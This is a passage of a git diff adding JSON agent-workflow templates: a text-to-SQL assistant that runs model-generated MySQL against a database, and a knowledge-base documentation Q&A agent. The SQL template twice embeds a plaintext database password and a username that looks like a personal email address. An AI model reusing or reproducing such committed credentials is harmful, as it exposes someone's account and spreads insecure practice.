TMdGwcXJi7LKsqzUmT5tWYmkXuF9wjBvb76b7dHheazJ9RElUJOCxViuMlUJC0Gtz6PKyjLBY4qMWUe12r1xZ6lOyT6XPEBKN2CkTDOlZd02TBdTMt7Upx2knrkdCv1UKjDKn1A7XBYH6SCOOrWn5Oi/DtRiu+GleRthDL8rXdVjZlcfWrSIxVlGGGCOnH//Z"
+}
diff --git a/agent/templates/sql_assistant.json b/agent/templates/sql_assistant.json
new file mode 100644
index 0000000..27ac46e
--- /dev/null
+++ b/agent/templates/sql_assistant.json
@@ -0,0 +1,716 @@
+{
+ "id": 17,
+ "title": {
+ "en": "SQL Assistant",
+ "zh": "SQL助理"},
+ "description": {
+ "en": "SQL Assistant is an AI-powered tool that lets business users turn plain-English questions into fully formed SQL queries. Simply type your question (e.g., “Show me last quarter’s top 10 products by revenue”) and SQL Assistant generates the exact SQL, runs it against your database, and returns the results in seconds. ",
+ "zh": "用户能够将简单文本问题转化为完整的SQL查询并输出结果。只需输入您的问题(例如,“展示上个季度前十名按收入排序的产品”),SQL助理就会生成精确的SQL语句,对其运行您的数据库,并几秒钟内返回结果。"},
+ "canvas_type": "Marketing",
+ "dsl": {
+ "components": {
+ "Agent:WickedGoatsDivide": {
+ "downstream": [
+ "ExeSQL:TiredShirtsPull"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "qwen-max@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query: {sys.query}\n\nSchema: {Retrieval:HappyTiesFilm@formalized_content}\n\nSamples about question to SQL: {Retrieval:SmartNewsHammer@formalized_content}\n\nDescription about meanings of tables and files: {Retrieval:SweetDancersAppear@formalized_content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "### ROLE\nYou are a Text-to-SQL assistant. \nGiven a relational database schema and a natural-language request, you must produce a **single, syntactically-correct MySQL query** that answers the request. \nReturn **nothing except the SQL statement itself**\u2014no code fences, no commentary, no explanations, no comments, no trailing semicolon if not required.\n\n\n### EXAMPLES \n-- Example 1 \nUser: List every product name and its unit price. \nSQL:\nSELECT name, unit_price FROM Products;\n\n-- Example 2 \nUser: Show the names and emails of customers who placed orders in January 2025. \nSQL:\nSELECT DISTINCT c.name, c.email\nFROM Customers c\nJOIN Orders o ON o.customer_id = c.id\nWHERE o.order_date BETWEEN '2025-01-01' AND '2025-01-31';\n\n-- Example 3 \nUser: How many orders have a status of \"Completed\" for each month in 2024? \nSQL:\nSELECT DATE_FORMAT(order_date, '%Y-%m') AS month,\n COUNT(*) AS completed_orders\nFROM Orders\nWHERE status = 'Completed'\n AND YEAR(order_date) = 2024\nGROUP BY month\nORDER BY month;\n\n-- Example 4 \nUser: Which products generated at least \\$10 000 in total revenue? \nSQL:\nSELECT p.id, p.name, SUM(oi.quantity * oi.unit_price) AS revenue\nFROM Products p\nJOIN OrderItems oi ON oi.product_id = p.id\nGROUP BY p.id, p.name\nHAVING revenue >= 10000\nORDER BY revenue DESC;\n\n\n### OUTPUT GUIDELINES\n1. Think through the schema and the request. \n2. Write **only** the final MySQL query. \n3. Do **not** wrap the query in back-ticks or markdown fences. \n4. Do **not** add explanations, comments, or additional text\u2014just the SQL.",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Retrieval:HappyTiesFilm",
+ "Retrieval:SmartNewsHammer",
+ "Retrieval:SweetDancersAppear"
+ ]
+ },
+ "ExeSQL:TiredShirtsPull": {
+ "downstream": [
+ "Message:ShaggyMasksAttend"
+ ],
+ "obj": {
+ "component_name": "ExeSQL",
+ "params": {
+ "database": "",
+ "db_type": "mysql",
+ "host": "",
+ "max_records": 1024,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "password": "20010812Yy!",
+ "port": 3306,
+ "sql": "{Agent:WickedGoatsDivide@content}",
+ "username": "13637682833@163.com"
+ }
+ },
+ "upstream": [
+ "Agent:WickedGoatsDivide"
+ ]
+ },
+ "Message:ShaggyMasksAttend": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{ExeSQL:TiredShirtsPull@formalized_content}"
+ ]
+ }
+ },
+ "upstream": [
+ "ExeSQL:TiredShirtsPull"
+ ]
+ },
+ "Retrieval:HappyTiesFilm": {
+ "downstream": [
+ "Agent:WickedGoatsDivide"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Retrieval:SmartNewsHammer": {
+ "downstream": [
+ "Agent:WickedGoatsDivide"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Retrieval:SweetDancersAppear": {
+ "downstream": [
+ "Agent:WickedGoatsDivide"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Retrieval:HappyTiesFilm",
+ "Retrieval:SmartNewsHammer",
+ "Retrieval:SweetDancersAppear"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SQL assistant. What can I do for you?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Retrieval:HappyTiesFilmend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Retrieval:HappyTiesFilm",
+ "targetHandle": "end"
+ },
+ {
+ "id": "xy-edge__beginstart-Retrieval:SmartNewsHammerend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Retrieval:SmartNewsHammer",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Retrieval:SweetDancersAppearend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Retrieval:SweetDancersAppear",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:HappyTiesFilmstart-Agent:WickedGoatsDivideend",
+ "source": "Retrieval:HappyTiesFilm",
+ "sourceHandle": "start",
+ "target": "Agent:WickedGoatsDivide",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:SmartNewsHammerstart-Agent:WickedGoatsDivideend",
+ "markerEnd": "logo",
+ "source": "Retrieval:SmartNewsHammer",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Agent:WickedGoatsDivide",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:SweetDancersAppearstart-Agent:WickedGoatsDivideend",
+ "markerEnd": "logo",
+ "source": "Retrieval:SweetDancersAppear",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Agent:WickedGoatsDivide",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:WickedGoatsDividestart-ExeSQL:TiredShirtsPullend",
+ "source": "Agent:WickedGoatsDivide",
+ "sourceHandle": "start",
+ "target": "ExeSQL:TiredShirtsPull",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__ExeSQL:TiredShirtsPullstart-Message:ShaggyMasksAttendend",
+ "source": "ExeSQL:TiredShirtsPull",
+ "sourceHandle": "start",
+ "target": "Message:ShaggyMasksAttend",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SQL assistant. What can I do for you?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Schema"
+ },
+ "dragging": false,
+ "id": "Retrieval:HappyTiesFilm",
+ "measured": {
+ "height": 96,
+ "width": 200
+ },
+ "position": {
+ "x": 414,
+ "y": 20.5
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Question to SQL"
+ },
+ "dragging": false,
+ "id": "Retrieval:SmartNewsHammer",
+ "measured": {
+ "height": 96,
+ "width": 200
+ },
+ "position": {
+ "x": 406.5,
+ "y": 175.5
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Database Description"
+ },
+ "dragging": false,
+ "id": "Retrieval:SweetDancersAppear",
+ "measured": {
+ "height": 96,
+ "width": 200
+ },
+ "position": {
+ "x": 403.5,
+ "y": 328
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "qwen-max@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query: {sys.query}\n\nSchema: {Retrieval:HappyTiesFilm@formalized_content}\n\nSamples about question to SQL: {Retrieval:SmartNewsHammer@formalized_content}\n\nDescription about meanings of tables and files: {Retrieval:SweetDancersAppear@formalized_content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "### ROLE\nYou are a Text-to-SQL assistant. \nGiven a relational database schema and a natural-language request, you must produce a **single, syntactically-correct MySQL query** that answers the request. \nReturn **nothing except the SQL statement itself**\u2014no code fences, no commentary, no explanations, no comments, no trailing semicolon if not required.\n\n\n### EXAMPLES \n-- Example 1 \nUser: List every product name and its unit price. \nSQL:\nSELECT name, unit_price FROM Products;\n\n-- Example 2 \nUser: Show the names and emails of customers who placed orders in January 2025. \nSQL:\nSELECT DISTINCT c.name, c.email\nFROM Customers c\nJOIN Orders o ON o.customer_id = c.id\nWHERE o.order_date BETWEEN '2025-01-01' AND '2025-01-31';\n\n-- Example 3 \nUser: How many orders have a status of \"Completed\" for each month in 2024? \nSQL:\nSELECT DATE_FORMAT(order_date, '%Y-%m') AS month,\n COUNT(*) AS completed_orders\nFROM Orders\nWHERE status = 'Completed'\n AND YEAR(order_date) = 2024\nGROUP BY month\nORDER BY month;\n\n-- Example 4 \nUser: Which products generated at least \\$10 000 in total revenue? \nSQL:\nSELECT p.id, p.name, SUM(oi.quantity * oi.unit_price) AS revenue\nFROM Products p\nJOIN OrderItems oi ON oi.product_id = p.id\nGROUP BY p.id, p.name\nHAVING revenue >= 10000\nORDER BY revenue DESC;\n\n\n### OUTPUT GUIDELINES\n1. Think through the schema and the request. \n2. Write **only** the final MySQL query. \n3. Do **not** wrap the query in back-ticks or markdown fences. \n4. Do **not** add explanations, comments, or additional text\u2014just the SQL.",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "SQL Generator "
+ },
+ "dragging": false,
+ "id": "Agent:WickedGoatsDivide",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 981,
+ "y": 174
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "database": "",
+ "db_type": "mysql",
+ "host": "",
+ "max_records": 1024,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "password": "20010812Yy!",
+ "port": 3306,
+ "sql": "{Agent:WickedGoatsDivide@content}",
+ "username": "13637682833@163.com"
+ },
+ "label": "ExeSQL",
+ "name": "ExeSQL"
+ },
+ "dragging": false,
+ "id": "ExeSQL:TiredShirtsPull",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1211.5,
+ "y": 212.5
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "ragNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{ExeSQL:TiredShirtsPull@formalized_content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message"
+ },
+ "dragging": false,
+ "id": "Message:ShaggyMasksAttend",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1447.3125,
+ "y": 181.5
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Searches for relevant database creation statements.\n\nIt should label with a knowledgebase to which the schema is dumped in. You could use \" General \" as parsing method, \" 2 \" as chunk size and \" ; \" as delimiter."
+ },
+ "label": "Note",
+ "name": "Note Schema"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 188,
+ "id": "Note:ThickClubsFloat",
+ "measured": {
+ "height": 188,
+ "width": 392
+ },
+ "position": {
+ "x": 689,
+ "y": -180.31251144409183
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 392
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Searches for samples about question to SQL. \n\nYou could use \" Q&A \" as parsing method.\n\nPlease check this dataset:\nhttps://huggingface.co/datasets/InfiniFlow/text2sql"
+ },
+ "label": "Note",
+ "name": "Note: Question to SQL"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 154,
+ "id": "Note:ElevenLionsJoke",
+ "measured": {
+ "height": 154,
+ "width": 345
+ },
+ "position": {
+ "x": 693.5,
+ "y": 138
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 345
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Searches for description about meanings of tables and fields.\n\nYou could use \" General \" as parsing method, \" 2 \" as chunk size and \" ### \" as delimiter."
+ },
+ "label": "Note",
+ "name": "Note: Database Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 158,
+ "id": "Note:ManyRosesTrade",
+ "measured": {
+ "height": 158,
+ "width": 408
+ },
+ "position": {
+ "x": 691.5,
+ "y": 435.69736389555317
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 408
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The Agent learns which tables may be available based on the responses from three knowledge bases and converts the user's input into SQL statements."
+ },
+ "label": "Note",
+ "name": "Note: SQL Generator"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 132,
+ "id": "Note:RudeHousesInvite",
+ "measured": {
+ "height": 132,
+ "width": 383
+ },
+ "position": {
+ "x": 1106.9254833678003,
+ "y": 290.5891036507015
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 383
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Connect to your database to execute SQL statements."
+ },
+ "label": "Note",
+ "name": "Note: SQL Executor"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:HungryBatsLay",
+ "measured": {
+ "height": 136,
+ "width": 255
+ },
+ "position": {
+ "x": 1185,
+ "y": -30
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAcFBQYFBAcGBQYIBwcIChELCgkJChUPEAwRGBUaGRgVGBcbHichGx0lHRcYIi4iJSgpKywrGiAvMy8qMicqKyr/2wBDAQcICAoJChQLCxQqHBgcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKir/wAARCAAwADADAREAAhEBAxEB/8QAGgAAAwEBAQEAAAAAAAAAAAAABQYHBAMAAf/EADIQAAEDAwMCBAMHBQAAAAAAAAECAwQFESEABjESEyJBUYEUYXEHFSNSkaGxMjNictH/xAAZAQADAQEBAAAAAAAAAAAAAAACAwQBAAX/xAAlEQACAgICAgEEAwAAAAAAAAABAgARAyESMQRBEyIycYFCkbH/2gAMAwEAAhEDEQA/AKHt2DGpNHXDLrZdWtSrIub39tZ5GbGwPA+pmDFkX7x7idvra85xqQaFNkxUTVIVJQzf8QpBFjbgEenNs681MnA9WJ6fEOKJoxVpSpFLTCo6KEZlTlLcQBIJS20hAv1D1ve+qPk52b0IsYuIGtyt7ZkVVNP+H3A5GdlN2u7GQUBSfmkk8cXH10tmLD6Yl0CG5qmTXBMZiQEMuvupUoKdc6UeEi4FsqOeBxrsKnv1AY+hJ2l5yfu6qQ6/UZtPDRHZ+Eldpsqz1hSrXJGLXwRxqxUQizFs7galPYUFDKT+h15oMuImspQpFiL+2i1A3A1bgxmixUgwlT8ZfgJ/y8P8HXdRuPZoxaqtfkQKbKqF03jtEoDeFKV1lNgfK4H764XfccVUgipvdiwKpFaXMLklFg4juuqV0m3Izg/MaEZCDYMScYqiJOd6xmqfUVfBJcWwtHV1Elfi87k51ViyhrsxL4ivQj1KrFZjTGjTJ8aShdyph5SUqFhwPzX9jpC0dXUqZK3ViHNq7oNaVJjz2Vw5LCrdKknpULZyfMf801MfI1e5NmpAGHUL12EZNFWWlhXSUuWHKgk3xomwEDuDhzLysySU9EndEVyIz3GmxJR+KpBIdCLlRHn/AFEjjIF9AMJlZ8gLZ/qUiJSg1Tu0HO4plFj4FC1h9NYfHIU7kwzgnqCJlKLiCO2s6hKytWiPJoFdfnLW7HS0or6bqXbjg2AI99XjAa3NPlL6jFTduOR5sd1+oyfjQMONqI7QOMA4V7/pqjHjC9SLNn56I1HiqrqTUKM0hbq2lpst5CQSST54xjSPJbICOHUhawISiRQ02T2Uq6AAkqFj/GquJQks1iEr/INLU82bploKSFXusG9xfjHofXQuQUNRoQqQT0ZwVEST5687iZWGgpDsebNbaTDfKVL/ALnbQU/UkKNhjXpFt0BJBVXe/wAGGG6YMlvvNkjlBGmKeJimHIVc0TY89akCKspT28C5BKgDyR7fvrCFI+q/1DQsvVfudYcVyKw49KU6tZyQbmwHFhrOKr9s0uz0CAIpbr3RKo1Rbh02C4HJISp2ZIz0pJ8IQk5Nr/QXznSX6NSnGAwHI/gD/TM+3vtAj1arJpcpgtPdPSH0kFt5wDxAWOOLgamIAFwijCfD927N2tGXuNxlK2W0occUhJWpR+QzzrPjc+pvyqT3Ftf2zbObf7YYecb6CrrDAGfy20wYMkA5Vjbtev7b3nEcXRela27d1ogoWi/rnQsjrqZzHdwzKoKUsqWz3mOnJUlZJt8uokD621w+RdzgynUkUpoUafPZXMnSHlrKluyX1Eug8XF7GwxbgWxrubMO5WmNRsCKtLfcY3rAU0nIltkBP+w0X8Jjdz//2Q=="
+}
diff --git a/agent/templates/technical_docs_qa.json b/agent/templates/technical_docs_qa.json
new file mode 100644
index 0000000..101d850
--- /dev/null
+++ b/agent/templates/technical_docs_qa.json
@@ -0,0 +1,335 @@
+
+{
+ "id": 9,
+ "title": {
+ "en": "Technical Docs QA",
+ "zh": "技术文档问答"},
+ "description": {
+ "en": "This is a document question-and-answer system based on a knowledge base. When a user asks a question, it retrieves relevant document content to provide accurate answers.",
+ "zh": "基于知识库的文档问答系统,当用户提出问题时,会检索相关本地文档并提供准确回答。"},
+ "canvas_type": "Customer Support",
+ "dsl": {
+ "components": {
+ "Agent:StalePandasDream": {
+ "downstream": [
+ "Message:BrownPugsStick"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n\n# Response Guidelines\n\n## When Information is Available\n\n- Provide direct answers based on retrieved content\n\n- Quote relevant sections when helpful\n\n- Cite the source document/section if available\n\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n\n## When Information is Unavailable\n\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n\n- Do NOT attempt to fill gaps with general knowledge\n\n- Suggest alternative questions that might be covered in the docs\n\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n\n# Response Format\n\n```markdown\n\n## Answer\n\n[Your response based strictly on knowledge base content]\n\n**Always do these:**\n\n- Use the Retrieval tool for every question\n\n- Be transparent about information availability\n\n- Stick to documented facts only\n\n- Acknowledge knowledge base limitations\n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "This is a technical docs knowledge bases.",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:BrownPugsStick": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:StalePandasDream@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:StalePandasDream"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:StalePandasDream"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {}
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:StalePandasDreamend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:StalePandasDream",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:StalePandasDreamstart-Message:BrownPugsStickend",
+ "source": "Agent:StalePandasDream",
+ "sourceHandle": "start",
+ "target": "Message:BrownPugsStick",
+ "targetHandle": "end"
+ },
+ {
+ "id": "xy-edge__Agent:StalePandasDreamtool-Tool:PrettyMasksFloatend",
+ "source": "Agent:StalePandasDream",
+ "sourceHandle": "tool",
+ "target": "Tool:PrettyMasksFloat",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 47.500000000000014,
+ "y": 199.5
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n\n# Response Guidelines\n\n## When Information is Available\n\n- Provide direct answers based on retrieved content\n\n- Quote relevant sections when helpful\n\n- Cite the source document/section if available\n\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n\n## When Information is Unavailable\n\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n\n- Do NOT attempt to fill gaps 